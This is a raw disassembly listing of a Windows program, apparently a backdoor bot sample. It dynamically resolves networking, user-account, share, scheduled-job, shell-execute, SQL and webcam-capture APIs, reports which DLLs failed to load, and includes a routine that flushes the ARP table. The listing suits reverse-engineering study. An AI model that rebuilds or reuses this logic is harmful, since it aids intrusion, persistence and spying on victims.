		call	esi	; GetProcAddress
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4CDD08, eax
		call	esi	; GetProcAddress
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4CDB74, eax
		call	esi	; GetProcAddress
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4CDB50, eax
		call	esi	; GetProcAddress
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4CDC10, eax
		call	esi	; GetProcAddress
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4CDBF8, eax
		call	esi	; GetProcAddress
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4CDBBC, eax
		call	esi	; GetProcAddress
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4CDCE4, eax
		call	esi	; GetProcAddress
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4CDD00, eax
		call	esi	; GetProcAddress
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4CDC0C, eax
		call	esi	; GetProcAddress
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4CDCF0, eax
		call	esi	; GetProcAddress
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4CDCA4, eax
		call	esi	; GetProcAddress
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4CDC64, eax
		call	esi	; GetProcAddress
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4CDC60, eax
		call	esi	; GetProcAddress
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4CDB94, eax
		call	esi	; GetProcAddress
		push	offset aSend	; "send"
		push	edi
		mov	dword_4CDB8C, eax
		call	esi	; GetProcAddress
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4CDCB4, eax
		call	esi	; GetProcAddress
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4CDCC8, eax
		call	esi	; GetProcAddress
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4CDC7C, eax
		call	esi	; GetProcAddress
		mov	dword_4CDC3C, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4CDC90, eax
		call	esi	; GetProcAddress
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4CDC4C, eax
		call	esi	; GetProcAddress
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4CDC8C, eax
		call	esi	; GetProcAddress
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4CDCF8, eax
		call	esi	; GetProcAddress
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4CDC44, eax
		call	esi	; GetProcAddress
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4CDC08, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4CDC78, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4CDCE8, eax
		call	esi	; GetProcAddress
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4CDC1C, eax
		call	esi	; GetProcAddress
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4CDBB8, eax
		call	esi	; GetProcAddress
		cmp	dword_4CDBD4, ebx
		mov	dword_4CDCFC, eax
		jz	loc_40A1F2
		cmp	dword_4CDD08, ebx
		jz	loc_40A1F2
		cmp	dword_4CDB74, ebx
		jz	loc_40A1F2
		cmp	dword_4CDC10, ebx
		jz	loc_40A1F2
		cmp	dword_4CDBF8, ebx
		jz	loc_40A1F2
		cmp	dword_4CDBBC, ebx
		jz	loc_40A1F2
		cmp	dword_4CDCE4, ebx
		jz	loc_40A1F2
		cmp	dword_4CDD00, ebx
		jz	loc_40A1F2
		cmp	dword_4CDC0C, ebx
		jz	loc_40A1F2
		cmp	dword_4CDCF0, ebx
		jz	loc_40A1F2
		cmp	dword_4CDCA4, ebx
		jz	loc_40A1F2
		cmp	dword_4CDC64, ebx
		jz	loc_40A1F2
		cmp	dword_4CDC60, ebx
		jz	loc_40A1F2
		cmp	dword_4CDB94, ebx
		jz	short loc_40A1F2
		cmp	dword_4CDCB4, ebx
		jz	short loc_40A1F2
		cmp	dword_4CDCC8, ebx
		jz	short loc_40A1F2
		cmp	dword_4CDC7C, ebx
		jz	short loc_40A1F2
		cmp	dword_4CDC3C, ebx
		jz	short loc_40A1F2
		cmp	dword_4CDC90, ebx
		jz	short loc_40A1F2
		cmp	dword_4CDC4C, ebx
		jz	short loc_40A1F2
		cmp	dword_4CDC8C, ebx
		jz	short loc_40A1F2
		cmp	dword_4CDCF8, ebx
		jz	short loc_40A1F2
		cmp	dword_4CDC44, ebx
		jz	short loc_40A1F2
		cmp	dword_4CDC08, ebx
		jz	short loc_40A1F2
		cmp	dword_4CDC78, ebx
		jz	short loc_40A1F2
		cmp	dword_4CDCE8, ebx
		jz	short loc_40A1F2
		cmp	dword_4CDC1C, ebx
		jz	short loc_40A1F2
		cmp	eax, ebx
		jnz	short loc_40A1FC
		jmp	short loc_40A1F2
; ---------------------------------------------------------------------------


loc_40A1E7:				; CODE XREF: sub_409A1D+51Fj
		call	dword_42808C	; RtlGetLastWin32Error
		mov	dword_4CDD44, eax


loc_40A1F2:				; CODE XREF: sub_409A1D+6BEj
					; sub_409A1D+6CAj ...
		mov	dword_4CDD40, 1


loc_40A1FC:				; CODE XREF: sub_409A1D+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A301
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4CDBA0, eax
		call	esi	; GetProcAddress
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4CDB28, eax
		call	esi	; GetProcAddress
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4CDC2C, eax
		call	esi	; GetProcAddress
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4CDBD8, eax
		call	esi	; GetProcAddress
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4CDC38, eax
		call	esi	; GetProcAddress
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4CDBFC, eax
		call	esi	; GetProcAddress
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4CDB68, eax
		call	esi	; GetProcAddress
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4CDB60, eax
		call	esi	; GetProcAddress
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4CDB70, eax
		call	esi	; GetProcAddress
		cmp	dword_4CDBA0, ebx
		mov	ecx, dword_4CDBFC
		mov	dword_4CDC98, eax
		jz	short loc_40A2DD
		cmp	dword_4CDB28, ebx
		jz	short loc_40A2DD
		cmp	dword_4CDC2C, ebx
		jz	short loc_40A2DD
		cmp	dword_4CDBD8, ebx
		jz	short loc_40A2DD
		cmp	dword_4CDC38, ebx
		jz	short loc_40A2DD
		cmp	ecx, ebx
		jz	short loc_40A2DD
		cmp	dword_4CDB68, ebx
		jz	short loc_40A2DD
		cmp	dword_4CDB60, ebx
		jz	short loc_40A2DD
		cmp	dword_4CDB70, ebx
		jz	short loc_40A2DD
		cmp	eax, ebx
		jnz	short loc_40A2E7


loc_40A2DD:				; CODE XREF: sub_409A1D+87Ej
					; sub_409A1D+886j ...
		mov	dword_4CDD48, 1


loc_40A2E7:				; CODE XREF: sub_409A1D+8BEj
		cmp	ecx, ebx
		jz	short loc_40A31C
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx	; InternetOpenA
		cmp	eax, ebx
		mov	dword_4CDC14, eax
		jnz	short loc_40A31C
		jmp	short loc_40A316
; ---------------------------------------------------------------------------


loc_40A301:				; CODE XREF: sub_409A1D+7EAj
		call	dword_42808C	; RtlGetLastWin32Error
		mov	dword_4CDD4C, eax
		mov	dword_4CDD48, 1


loc_40A316:				; CODE XREF: sub_409A1D+8E2j
		mov	dword_4CDC14, ebx


loc_40A31C:				; CODE XREF: sub_409A1D+8CCj
					; sub_409A1D+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A366
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi	; GetProcAddress
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4CDBEC, eax
		call	esi	; GetProcAddress
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4CDD18, eax
		call	esi	; GetProcAddress
		cmp	dword_4CDBEC, ebx
		mov	dword_4CDB7C, eax
		jz	short loc_40A371
		cmp	dword_4CDD18, ebx
		jz	short loc_40A371
		cmp	eax, ebx
		jnz	short loc_40A37B
		jmp	short loc_40A371
; ---------------------------------------------------------------------------


loc_40A366:				; CODE XREF: sub_409A1D+90Aj
		call	dword_42808C	; RtlGetLastWin32Error
		mov	dword_4CDD54, eax


loc_40A371:				; CODE XREF: sub_409A1D+939j
					; sub_409A1D+941j ...
		mov	dword_4CDD50, 1


loc_40A37B:				; CODE XREF: sub_409A1D+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A482
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi	; GetProcAddress
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4CDB58, eax
		call	esi	; GetProcAddress
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4CDB30, eax
		call	esi	; GetProcAddress
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4CDBA8, eax
		call	esi	; GetProcAddress
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4CDBDC, eax
		call	esi	; GetProcAddress
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4CDCF4, eax
		call	esi	; GetProcAddress
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4CDB90, eax
		call	esi	; GetProcAddress
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4CDB3C, eax
		call	esi	; GetProcAddress
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4CDB2C, eax
		call	esi	; GetProcAddress
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4CDBC4, eax
		call	esi	; GetProcAddress
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4CDCBC, eax
		call	esi	; GetProcAddress
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4CDC74, eax
		call	esi	; GetProcAddress
		cmp	dword_4CDB58, ebx
		mov	dword_4CDB98, eax
		jz	short loc_40A48D
		cmp	dword_4CDB30, ebx
		jz	short loc_40A48D
		cmp	dword_4CDBA8, ebx
		jz	short loc_40A48D
		cmp	dword_4CDBDC, ebx
		jz	short loc_40A48D
		cmp	dword_4CDCF4, ebx
		jz	short loc_40A48D
		cmp	dword_4CDB90, ebx
		jz	short loc_40A48D
		cmp	dword_4CDB3C, ebx
		jz	short loc_40A48D
		cmp	dword_4CDB2C, ebx
		jz	short loc_40A48D
		cmp	dword_4CDBC4, ebx
		jz	short loc_40A48D
		cmp	dword_4CDCBC, ebx
		jz	short loc_40A48D
		cmp	dword_4CDC74, ebx
		jnz	short loc_40A497
		jmp	short loc_40A48D
; ---------------------------------------------------------------------------


loc_40A482:				; CODE XREF: sub_409A1D+969j
		call	dword_42808C	; RtlGetLastWin32Error
		mov	dword_4CDD5C, eax


loc_40A48D:				; CODE XREF: sub_409A1D+A11j
					; sub_409A1D+A19j ...
		mov	dword_4CDD58, 1


loc_40A497:				; CODE XREF: sub_409A1D+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A4CC
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4CDB80, eax
		call	esi	; GetProcAddress
		cmp	dword_4CDB80, ebx
		mov	dword_4CDC5C, eax
		jz	short loc_40A4D7
		cmp	eax, ebx
		jnz	short loc_40A4E1
		jmp	short loc_40A4D7
; ---------------------------------------------------------------------------


loc_40A4CC:				; CODE XREF: sub_409A1D+A85j
		call	dword_42808C	; RtlGetLastWin32Error
		mov	dword_4CDD64, eax


loc_40A4D7:				; CODE XREF: sub_409A1D+AA7j
					; sub_409A1D+AADj
		mov	dword_4CDD60, 1


loc_40A4E1:				; CODE XREF: sub_409A1D+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A516
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4CDCE0, eax
		call	esi	; GetProcAddress
		cmp	dword_4CDCE0, ebx
		mov	dword_4CDCDC, eax
		jz	short loc_40A521
		cmp	eax, ebx
		jnz	short loc_40A52B
		jmp	short loc_40A521
; ---------------------------------------------------------------------------


loc_40A516:				; CODE XREF: sub_409A1D+ACFj
		call	dword_42808C	; RtlGetLastWin32Error
		mov	dword_4CDD6C, eax


loc_40A521:				; CODE XREF: sub_409A1D+AF1j
					; sub_409A1D+AF7j
		mov	dword_4CDD68, 1


loc_40A52B:				; CODE XREF: sub_409A1D+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A58A
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4CDD0C, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4CDD04, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4CDCCC, eax
		call	esi	; GetProcAddress
		cmp	dword_4CDD0C, ebx
		mov	dword_4CDB9C, eax
		jz	short loc_40A595
		cmp	dword_4CDD04, ebx
		jz	short loc_40A595
		cmp	dword_4CDCCC, ebx
		jz	short loc_40A595
		cmp	eax, ebx
		jnz	short loc_40A59F
		jmp	short loc_40A595
; ---------------------------------------------------------------------------


loc_40A58A:				; CODE XREF: sub_409A1D+B19j
		call	dword_42808C	; RtlGetLastWin32Error
		mov	dword_4CDD74, eax


loc_40A595:				; CODE XREF: sub_409A1D+B55j
					; sub_409A1D+B5Dj ...
		mov	dword_4CDD70, 1


loc_40A59F:				; CODE XREF: sub_409A1D+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5D4
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4CDBD0, eax
		call	esi	; GetProcAddress
		cmp	dword_4CDBD0, ebx
		mov	dword_4CDCD8, eax
		jz	short loc_40A5DF
		cmp	eax, ebx
		jnz	short loc_40A5E9
		jmp	short loc_40A5DF
; ---------------------------------------------------------------------------


loc_40A5D4:				; CODE XREF: sub_409A1D+B8Dj
		call	dword_42808C	; RtlGetLastWin32Error
		mov	dword_4CDD7C, eax


loc_40A5DF:				; CODE XREF: sub_409A1D+BAFj
					; sub_409A1D+BB5j
		mov	dword_4CDD78, 1


loc_40A5E9:				; CODE XREF: sub_409A1D+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A672
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4CDCA0, eax
		call	esi	; GetProcAddress
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4CDCEC, eax
		call	esi	; GetProcAddress
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4CDC28, eax
		call	esi	; GetProcAddress
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4CDBE0, eax
		call	esi	; GetProcAddress
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4CDC80, eax
		call	esi	; GetProcAddress
		cmp	dword_4CDCA0, ebx
		mov	dword_4CDBF0, eax
		jz	short loc_40A67D
		cmp	dword_4CDCEC, ebx
		jz	short loc_40A67D
		cmp	dword_4CDC28, ebx
		jz	short loc_40A67D
		cmp	dword_4CDBE0, ebx
		jz	short loc_40A67D
		cmp	dword_4CDC80, ebx
		jz	short loc_40A67D
		cmp	eax, ebx
		jnz	short loc_40A687
		jmp	short loc_40A67D
; ---------------------------------------------------------------------------


loc_40A672:				; CODE XREF: sub_409A1D+BD7j
		call	dword_42808C	; RtlGetLastWin32Error
		mov	dword_4CDD84, eax


loc_40A67D:				; CODE XREF: sub_409A1D+C2Dj
					; sub_409A1D+C35j ...
		mov	dword_4CDD80, 1


loc_40A687:				; CODE XREF: sub_409A1D+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A6BC
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4CDBB4, eax
		call	esi	; GetProcAddress
		cmp	dword_4CDBB4, ebx
		mov	dword_4CDC94, eax
		jz	short loc_40A6C7
		cmp	eax, ebx
		jnz	short loc_40A6D1
		jmp	short loc_40A6C7
; ---------------------------------------------------------------------------


loc_40A6BC:				; CODE XREF: sub_409A1D+C75j
		call	dword_42808C	; RtlGetLastWin32Error
		mov	dword_4CDD8C, eax


loc_40A6C7:				; CODE XREF: sub_409A1D+C97j
					; sub_409A1D+C9Dj
		mov	dword_4CDD88, 1


loc_40A6D1:				; CODE XREF: sub_409A1D+C9Bj
		pop	edi
		xor	eax, eax
		pop	esi
		pop	ebp
		inc	eax
		pop	ebx
		retn
sub_409A1D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A6D9	proc near		; CODE XREF: sub_401B66+249Ep

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4CDD20, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A721
		push	dword_4CDD24
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41C056
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 20h


loc_40A721:				; CODE XREF: sub_40A6D9+1Aj
		cmp	dword_4CDD28, esi
		jz	short loc_40A755
		push	dword_4CDD2C
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41C056
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 20h


loc_40A755:				; CODE XREF: sub_40A6D9+4Ej
		cmp	dword_4CDD30, esi
		jz	short loc_40A789
		push	dword_4CDD34
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41C056
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 20h


loc_40A789:				; CODE XREF: sub_40A6D9+82j
		cmp	dword_4CDD38, esi
		jz	short loc_40A7BD
		push	dword_4CDD3C
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41C056
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 20h


loc_40A7BD:				; CODE XREF: sub_40A6D9+B6j
		cmp	dword_4CDD40, esi
		jz	short loc_40A7F1
		push	dword_4CDD44
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41C056
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 20h


loc_40A7F1:				; CODE XREF: sub_40A6D9+EAj
		cmp	dword_4CDD48, esi
		jz	short loc_40A825
		push	dword_4CDD4C
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41C056
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 20h


loc_40A825:				; CODE XREF: sub_40A6D9+11Ej
		cmp	dword_4CDD50, esi
		jz	short loc_40A859
		push	dword_4CDD54
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41C056
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 20h


loc_40A859:				; CODE XREF: sub_40A6D9+152j
		cmp	dword_4CDD58, esi
		jz	short loc_40A88D
		push	dword_4CDD5C
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41C056
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 20h


loc_40A88D:				; CODE XREF: sub_40A6D9+186j
		cmp	dword_4CDD60, esi
		jz	short loc_40A8C1
		push	dword_4CDD64
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41C056
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 20h


loc_40A8C1:				; CODE XREF: sub_40A6D9+1BAj
		cmp	dword_4CDD68, esi
		jz	short loc_40A8F5
		push	dword_4CDD6C
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41C056
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 20h


loc_40A8F5:				; CODE XREF: sub_40A6D9+1EEj
		cmp	dword_4CDD70, esi
		jz	short loc_40A929
		push	dword_4CDD74
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41C056
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 20h


loc_40A929:				; CODE XREF: sub_40A6D9+222j
		cmp	dword_4CDD78, esi
		jz	short loc_40A95D
		push	dword_4CDD7C
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41C056
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 20h


loc_40A95D:				; CODE XREF: sub_40A6D9+256j
		cmp	dword_4CDD80, esi
		jz	short loc_40A991
		push	dword_4CDD84
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41C056
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 20h


loc_40A991:				; CODE XREF: sub_40A6D9+28Aj
		cmp	dword_4CDD88, esi
		jz	short loc_40A9C5
		push	dword_4CDD8C
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_41C056
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 20h


loc_40A9C5:				; CODE XREF: sub_40A6D9+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42E9CC
		push	eax
		call	sub_41C056
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40A9F2
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 14h


loc_40A9F2:				; CODE XREF: sub_40A6D9+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4157A5
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A6D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AA04	proc near		; CODE XREF: sub_401891:loc_4018E0p
					; sub_401B66+5BC0p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CDCA4	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40AA2C
		push	[esp+arg_0]
		call	dword_4CDCE8	; gethostbyname
		test	eax, eax
		jnz	short loc_40AA25
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40AA25:				; CODE XREF: sub_40AA04+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40AA2C:				; CODE XREF: sub_40AA04+Dj
		retn
sub_40AA04	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AA2D	proc near		; CODE XREF: sub_401891+D6p
		mov	ecx, dword_4CDB80
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AA3B
		jmp	ecx
; ---------------------------------------------------------------------------

locret_40AA3B:				; CODE XREF: sub_40AA2D+Aj
		retn
sub_40AA2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA3C	proc near		; CODE XREF: sub_401B66:loc_403F23p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		xor	ebx, ebx
		push	esi
		inc	ebx
		push	edi
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4CDCE0	; GetIpNetTable
		mov	ecx, eax
		sub	ecx, edi
		jz	short loc_40AAC3
		sub	ecx, 32h
		jz	loc_40AB0D
		sub	ecx, 48h
		jz	short loc_40AA98
		sub	ecx, 6Eh
		jz	short loc_40AA91


loc_40AA7A:				; CODE XREF: sub_40AA3C+85j
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42EBE0
		push	eax
		call	sub_41C056
		add	esp, 0Ch
		jmp	short loc_40AAEE
; ---------------------------------------------------------------------------


loc_40AA91:				; CODE XREF: sub_40AA3C+3Cj
		push	offset unk_42EBBC
		jmp	short loc_40AAE0
; ---------------------------------------------------------------------------


loc_40AA98:				; CODE XREF: sub_40AA3C+37j
		push	[ebp+var_8]
		call	sub_41BCA5
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41BD60
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40AADB
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4CDCE0	; GetIpNetTable
		cmp	eax, edi
		jnz	short loc_40AA7A


loc_40AAC3:				; CODE XREF: sub_40AA3C+29j
		cmp	[esi], edi
		jbe	short loc_40AAFE
		lea	ebx, [esi+4]


loc_40AACA:				; CODE XREF: sub_40AA3C+9Bj
		push	ebx
		call	dword_4CDCDC	; DeleteIpNetEntry
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40AACA
		jmp	short loc_40AAFE
; ---------------------------------------------------------------------------


loc_40AADB:				; CODE XREF: sub_40AA3C+75j
		push	offset unk_42EB8C


loc_40AAE0:				; CODE XREF: sub_40AA3C+5Aj
					; sub_40AA3C+D6j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41C056
		pop	ecx
		pop	ecx


loc_40AAEE:				; CODE XREF: sub_40AA3C+53j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_4157A5
